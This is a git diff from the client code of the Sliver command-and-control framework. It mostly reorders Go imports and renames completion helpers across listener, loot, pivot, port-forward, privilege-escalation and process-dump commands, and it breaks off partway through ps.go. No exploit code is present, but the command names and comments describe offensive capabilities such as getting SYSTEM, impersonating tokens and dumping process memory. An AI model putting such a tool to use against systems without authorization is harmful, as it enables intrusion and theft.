f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(jobsCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(jobsCmd, func(comp *carapace.ActionMap) { (*comp)["kill"] = JobsIDCompleter(con) }) @@ -135,7 +137,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("persistent", "p", false, "make persistent across restarts") }) - flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(httpsCmd, func(comp *carapace.ActionMap) { (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") (*comp)["key"] = carapace.ActionFiles().Tag("key file") }) @@ -162,7 +164,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") }) - flags.BindFlagCompletions(stageCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(stageCmd, func(comp *carapace.ActionMap) { (*comp)["profile"] = generate.ProfileNameCompleter(con) (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") (*comp)["key"] = carapace.ActionFiles().Tag("key file") diff --git a/client/command/jobs/dns.go b/client/command/jobs/dns.go index bdb8c4b439..6854befa05 100644 --- a/client/command/jobs/dns.go +++ b/client/command/jobs/dns.go @@ -22,9 +22,10 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // DNSListenerCmd - Start a DNS lisenter. diff --git a/client/command/jobs/http.go b/client/command/jobs/http.go index 1c8e013faf..a1db817173 100644 --- a/client/command/jobs/http.go +++ b/client/command/jobs/http.go @@ -22,9 +22,10 @@ import ( "context" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // HTTPListenerCmd - Start an HTTP listener. diff --git a/client/command/jobs/https.go b/client/command/jobs/https.go index 327eb6966b..80c957c30b 100644 --- a/client/command/jobs/https.go +++ b/client/command/jobs/https.go @@ -25,9 +25,10 @@ import ( "io/ioutil" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // HTTPSListenerCmd - Start an HTTPS listener. diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index b54567d6eb..bb8f05a644 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -25,13 +25,14 @@ import ( "strconv" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) // JobsCmd - Manage server jobs (listeners, etc). diff --git a/client/command/jobs/mtls.go b/client/command/jobs/mtls.go index 86d9e08b2f..7d21ae79b9 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/jobs/mtls.go @@ -21,9 +21,10 @@ package jobs import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // MTLSListenerCmd - Start an mTLS listener. diff --git a/client/command/jobs/named-pipe.go b/client/command/jobs/named-pipe.go index ed4815ace4..7cbee6066d 100644 --- a/client/command/jobs/named-pipe.go +++ b/client/command/jobs/named-pipe.go @@ -21,9 +21,10 @@ package jobs import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system. diff --git a/client/command/jobs/stage.go b/client/command/jobs/stage.go index 53d2a97170..b9e3160829 100644 --- a/client/command/jobs/stage.go +++ b/client/command/jobs/stage.go @@ -27,12 +27,13 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" ) // StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name. diff --git a/client/command/jobs/tcp.go b/client/command/jobs/tcp.go index 1c520fa020..7fbb35c519 100644 --- a/client/command/jobs/tcp.go +++ b/client/command/jobs/tcp.go @@ -22,9 +22,10 @@ import ( "context" "fmt" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // StartTCPListenerCmd - Start a TCP pivot listener on the remote system. diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go index c743738092..c7ac3d93c5 100644 --- a/client/command/jobs/wg.go +++ b/client/command/jobs/wg.go @@ -21,9 +21,10 @@ package jobs import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // WGListenerCmd - Start a WireGuard listener. diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go index b27d909dc3..2128351edc 100644 --- a/client/command/kill/commands.go +++ b/client/command/kill/commands.go @@ -1,12 +1,13 @@ package kill import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/kill/kill.go b/client/command/kill/kill.go index 69eb4f7016..a7724187e4 100644 --- a/client/command/kill/kill.go +++ b/client/command/kill/kill.go @@ -23,11 +23,12 @@ import ( "errors" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // KillCmd - Kill the active session (not to be confused with TerminateCmd). diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go index 93413efe42..dad7e1e7ad 100644 --- a/client/command/loot/commands.go +++ b/client/command/loot/commands.go @@ -1,13 +1,15 @@ package loot import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -43,7 +45,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("type", "T", "", "force a specific loot type (file/cred)") f.StringP("file-type", "F", "", "force a specific file type (binary/text)") }) - flags.BindFlagCompletions(lootAddCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(lootAddCmd, func(comp *carapace.ActionMap) { (*comp)["type"] = LootTypeCompleter(con) (*comp)["file-type"] = FileTypeCompleter(con) }) @@ -65,7 +67,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("type", "T", "", "force a specific loot type (file/cred)") f.StringP("file-type", "F", "", "force a specific file type (binary/text)") }) - flags.BindFlagCompletions(lootRemoteCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(lootRemoteCmd, func(comp *carapace.ActionMap) { (*comp)["type"] = LootTypeCompleter(con) (*comp)["file-type"] = FileTypeCompleter(con) }) @@ -94,7 +96,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("save", "s", "", "save loot to a local file") f.StringP("filter", "f", "", "filter based on loot type") }) - flags.BindFlagCompletions(lootFetchCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(lootFetchCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") (*comp)["filter"] = FileTypeCompleter(con) }) @@ -111,7 +113,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("loot", false, lootRmCmd, func(f *pflag.FlagSet) { f.StringP("filter", "f", "", "filter based on loot type") }) - flags.BindFlagCompletions(lootRmCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(lootRmCmd, func(comp *carapace.ActionMap) { (*comp)["filter"] = LootTypeCompleter(con) }) diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index 7340f92748..e215adb0e2 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -21,8 +21,9 @@ package loot import ( "context" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) // LootFetchCmd - Display the contents of or download a piece of loot. diff --git a/client/command/loot/helpers.go b/client/command/loot/helpers.go index 7175979855..c671b0969a 100644 --- a/client/command/loot/helpers.go +++ b/client/command/loot/helpers.go @@ -32,10 +32,11 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/spf13/cobra" ) var ( diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 2f389262be..bbb14a9459 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -25,10 +25,11 @@ import ( "path" "path/filepath" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // LootAddLocalCmd - Add a local file to the server as loot. diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 4ac8eb519b..911f7856a9 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -27,13 +27,14 @@ import ( "unicode/utf8" "github.com/AlecAivazis/survey/v2" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // LootCmd - The loot root command. diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index 4e18db3aaa..673fd57aa5 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -28,13 +28,14 @@ import ( "path/filepath" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType { diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index ff2d4e45a4..8b62de1b23 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -22,9 +22,10 @@ import ( "context" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // LootRenameCmd - Rename a piece of loot. diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index 78997a6e7d..afd57950d2 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -21,8 +21,9 @@ package loot import ( "context" - "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" ) func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go index 0f8480ab90..da7c962e0c 100644 --- a/client/command/monitor/commands.go +++ b/client/command/monitor/commands.go @@ -1,9 +1,10 @@ package monitor import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/monitor/start.go b/client/command/monitor/start.go index e18e3050b8..f722c9d8d7 100644 --- a/client/command/monitor/start.go +++ b/client/command/monitor/start.go @@ -21,9 +21,10 @@ package monitor import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // MonitorStartCmd - Start monitoring threat intel for implants. diff --git a/client/command/monitor/stop.go b/client/command/monitor/stop.go index fe6d8fa4fe..d1f595ee42 100644 --- a/client/command/monitor/stop.go +++ b/client/command/monitor/stop.go @@ -21,9 +21,10 @@ package monitor import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // MonitorStopCmd - Stop monitoring threat intel for implants. diff --git a/client/command/network/commands.go b/client/command/network/commands.go index ad31bb2042..137e5f68c5 100644 --- a/client/command/network/commands.go +++ b/client/command/network/commands.go @@ -1,12 +1,13 @@ package network import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index 93a3d23f8f..bf30ca793c 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -25,13 +25,14 @@ import ( "strconv" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // IfconfigCmd - Display network interfaces on the remote system. diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index 700264bf36..d98ab11af8 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -23,13 +23,14 @@ import ( "fmt" "net" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // NetstatCmd - Display active network connections on the remote system. diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go index a1cc3a5b98..f00f0eb3e2 100644 --- a/client/command/pivots/commands.go +++ b/client/command/pivots/commands.go @@ -1,12 +1,14 @@ package pivots import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -35,7 +37,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { } pivotsCmd.AddCommand(pivotStopCmd) - stopComs := flags.NewCompletions(pivotStopCmd) + stopComs := completers.NewCompsFor(pivotStopCmd) stopComs.PositionalCompletion(PivotIDCompleter(con).Usage("id of the pivot listener to stop")) pivotDetailsCmd := &cobra.Command{ @@ -49,7 +51,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { } pivotsCmd.AddCommand(pivotDetailsCmd) - detailsComps := flags.NewCompletions(pivotDetailsCmd) + detailsComps := completers.NewCompsFor(pivotDetailsCmd) detailsComps.PositionalCompletion(PivotIDCompleter(con).Usage("ID of the pivot listener to get details for")) graphCmd := &cobra.Command{ diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index 7356e257c7..99b8dc6ada 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -23,11 +23,12 @@ import ( "fmt" "strconv" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // PivotDetailsCmd - Display pivots for all sessions. diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 4431694079..e00e6cc495 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -23,9 +23,10 @@ import ( "encoding/json" "fmt" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) // PivotsGraphCmd - Display pivots for all sessions. diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index 506bf9a4fd..ac16fb9b4c 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -28,9 +28,10 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/rsteube/carapace" ) // SelectPivotListener - Interactive menu to select a pivot listener. diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index 954d8cc5a7..0261d4cc78 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -21,11 +21,12 @@ package pivots import ( "context" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // PivotsCmd - Display pivots for all sessions. diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 116a505986..356de26ce0 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -22,9 +22,10 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // StopPivotListenerCmd - Start a TCP pivot listener on the remote system. diff --git a/client/command/portfwd/commands.go b/client/command/portfwd/commands.go index aeebf5484c..d3c840bfd0 100644 --- a/client/command/portfwd/commands.go +++ b/client/command/portfwd/commands.go @@ -1,14 +1,15 @@ package portfwd import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -40,7 +41,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("remote", "r", "", "remote target host:port (e.g., 10.0.0.1:445)") f.StringP("bind", "b", "127.0.0.1:8080", "bind port forward to interface") }) - flags.BindFlagCompletions(addCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(addCmd, func(comp *carapace.ActionMap) { (*comp)["bind"] = completers.ClientInterfacesCompleter() }) @@ -54,7 +55,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, } - rmComps := flags.NewCompletions(portfwdRmCmd) + rmComps := completers.NewCompsFor(portfwdRmCmd) rmComps.PositionalAnyCompletion(PortfwdIDCompleter(con).Usage("ID of portforwarder(s) to remove")) portfwdCmd.AddCommand(portfwdRmCmd) diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 6793cba165..422fd6164c 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -25,10 +25,11 @@ import ( "regexp" "time" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/tcpproxy" - "github.com/spf13/cobra" ) var portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$") diff --git a/client/command/portfwd/portfwd-rm.go b/client/command/portfwd/portfwd-rm.go index 37d0ab7342..188e69127b 100644 --- a/client/command/portfwd/portfwd-rm.go +++ b/client/command/portfwd/portfwd-rm.go @@ -21,9 +21,10 @@ package portfwd import ( "strconv" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" - "github.com/spf13/cobra" ) // PortfwdRmCmd - Remove an existing tunneled port forward. diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 8314347b07..f6f3c02736 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -23,12 +23,13 @@ import ( "sort" "strconv" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/core" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/core" ) // PortfwdCmd - Display information about tunneled port forward(s). diff --git a/client/command/prelude-operator/commands.go b/client/command/prelude-operator/commands.go index 2fc82eb546..f152788fdf 100644 --- a/client/command/prelude-operator/commands.go +++ b/client/command/prelude-operator/commands.go @@ -1,13 +1,14 @@ package operator import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index 3edbfe02bd..174471ce83 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -21,11 +21,12 @@ package operator import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/prelude" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/prelude-operator/operator.go b/client/command/prelude-operator/operator.go index fbd8a7305c..f36a692150 100644 --- a/client/command/prelude-operator/operator.go +++ b/client/command/prelude-operator/operator.go @@ -19,9 +19,10 @@ package operator */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/prelude" - "github.com/spf13/cobra" ) func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go index 5a2e2cf8cb..32095e4a7d 100644 --- a/client/command/privilege/commands.go +++ b/client/command/privilege/commands.go @@ -1,14 +1,15 @@ package privilege import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/filesystem" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 106ba89633..258841ec07 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -23,11 +23,12 @@ import ( "strconv" "strings" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // GetPrivsCmd - Get the current process privileges (Windows only). diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index 3e38e666cb..db19a0e209 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -21,11 +21,12 @@ package privilege import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system. diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index a58665f4f2..127e1341b8 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -21,11 +21,12 @@ package privilege import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ImpersonateCmd - Windows only, impersonate a user token. diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index 1b07338ded..1dd1da4dd4 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -21,11 +21,12 @@ package privilege import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) var logonTypes = map[string]uint32{ diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index 3f7a964d0f..5c7daa5f0a 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -21,11 +21,12 @@ package privilege import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RevToSelfCmd - Drop any impersonated tokens. diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index 62b2510457..24b38997c9 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -21,11 +21,12 @@ package privilege import ( "context" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // RunAsCmd - Run a command as another user on the remote system. diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go index 7d05ba780a..0610507d81 100644 --- a/client/command/processes/commands.go +++ b/client/command/processes/commands.go @@ -1,13 +1,15 @@ package processes import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -51,7 +53,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(procdumpCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles() }) diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index 9b01ce8954..cde8d080f6 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -26,12 +26,13 @@ import ( "path/filepath" "time" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // ProcdumpCmd - Dump the memory of a remote process. diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index 2b7b030d4e..18e0ea64ed 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -24,15 +24,16 @@ import ( "sort" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" 